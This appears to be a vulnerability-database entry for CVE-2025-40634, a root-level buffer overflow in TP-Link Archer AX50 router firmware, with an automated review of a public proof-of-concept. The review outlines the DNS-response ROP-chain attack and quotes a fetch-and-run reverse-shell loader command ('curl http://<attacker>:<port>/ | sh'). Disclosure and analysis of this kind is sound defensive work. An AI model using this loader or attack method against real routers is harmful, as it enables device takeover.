CVE-2025-40634

CRITICAL

Stack-based buffer overflow in TP-Link Archer AX50

Title source: CVE List
Search associated code STIX 2.1 vulnerability STIX 2.1 with PoCs

Record summary

CVE-2025-40634 has a selected CVSS score of 9.2 (critical); EIP currently links 1 curated repository PoC.

Description

Stack-based buffer overflow vulnerability in the 'conn-indicator' binary running as root on the TP-Link Archer AX50 router, in firmware versions prior to 1.0.15 build 241203 rel61480. This vulnerability allows an attacker to execute arbitrary code on the device over LAN and WAN networks.

Description source: CVE List

Exploitation context

Available material

Curated repository PoCs
1

CISA SSVC decision

ExploitationNone
AutomatableNo
Technical impactTotal

CISA Coordinator · SSVC 2.0.3 · Evaluated May 20, 2025 · Source: CVE List

Affected products and versions

1
ProductSourceVersion range

Link Archer AX50

Browse TP-Link / Link Archer AX50

Default status: unaffected

CVE ListBefore 1.0.15 build 241203 rel61480affected

Proofs of concept

1

Curated repository PoCs

GitHubCVE-2025-40634Curated repository PoCby hacefresko11Exploit4 files

Python · 28.5 MiB · linked to 2 vulnerabilities

GitHub
PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python exploit for CVE-2025-40634, a stack-based buffer overflow in the 'conn-indicator' binary on TP-Link Archer AX50 routers. It sends crafted DNS response packets to trigger the overflow, uses a ROP chain to call system(), and deploys a reverse shell via a loader command.

Backdoor review

No backdoor observed in reviewed code

The supplied text evidence describes a stack-based buffer overflow exploit for CVE-2025-40634 in the TP-Link Archer AX50 router. The README.md explains the vulnerability in the conn-indicator binary and the ROP chain used to achieve code execution. The exploit.py script implements this exploit by sending crafted DNS packets to trigger the overflow and execute a loader command (curl ... | sh) that fetches a reverse shell from the attacker's machine. All behavior is consistent with a standard proof-of-concept exploit for the stated vulnerability; no concealed backdoor, credential theft, persistence, or unrelated payload is present.

ClassificationExploit
Model confidence100%
AuthenticationNot required
Languagespython
Target softwareTP-Link Archer AX50 router firmwareconn-indicator binary
Attack typesstack-based buffer overflowremote code execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact contains a complete, functional Python script (exploit.py) that constructs and sends malicious network packets to trigger a buffer overflow, execute a ROP chain, and deploy a reverse shell on the target device. This is code intended to exercise a vulnerability, meeting the definition of an exploit.

exploit.py:1-224README.md:150-308

Requirements

  • Requires root/sudo privileges on the attacker machine to send raw packets.exploit.py:23-25
  • Target must be running vulnerable firmware (version 1.0.14 Build 20240108 rel.42655).README.md:3
  • Attacker must be able to send UDP packets to the target on ports 32000-61000, and for WAN mode, spoof the source IP of the target's DNS server.exploit.py:5-6README.md:306

Observed behavior

  • Starts a netcat listener on port 1337 to catch the reverse shell.exploit.py:152-154
  • Starts a web server on port 4444 to serve the reverse shell command when the target connects.exploit.py:159-173
  • Constructs a malicious DNS response payload containing a ROP chain that copies a command string to a writable memory region and calls system() to execute it.exploit.py:35-148
  • Sends the crafted payload to the target on UDP ports 32000-61000, optionally spoofing the source IP for WAN exploitation.exploit.py:178-191
  • The loader command 'curl http://<attacker>:<port>/ | sh' is executed on the target, which fetches and runs the reverse shell.exploit.py:20README.md:302
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Behavior
Payload withheldThis is the core exploit mechanism described in the README and implemented in exploit.py.README.md:216-261exploit.py:35-148
Exploit Behavior
Payload withheldThe ROP chain is detailed in the README and constructed in the build_payload function of exploit.py.README.md:263-294exploit.py:36-69
Exploit Behavior
Payload withheldThe loader command is defined in exploit.py and used to bypass the 62-character command length limitation.exploit.py:20exploit.py:184
Exploit Behavior
Payload withheldThe web server is part of the exploit infrastructure to deliver the reverse shell payload.exploit.py:158-174
Review boundaries

What the analysis did not establish

  • One binary firmware file (vulnerable_fw/ax50v1_intel-up-ver1-0-14-P1[20240108-rel42655]_sign_2024-01-08_14.05.44.bin) is present but was not analyzed; its contents are not used for classification.
  • The analysis is based solely on the provided text files (README.md and exploit.py); the exploit code was not executed, and its effectiveness is not verified.
  • One binary firmware file (vulnerable_fw/ax50v1_intel-up-ver1-0-14-P1[20240108-rel42655]_sign_2024-01-08_14.05.44.bin) was present but not analyzed; its contents could contain additional behavior not visible in the text evidence.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

References

2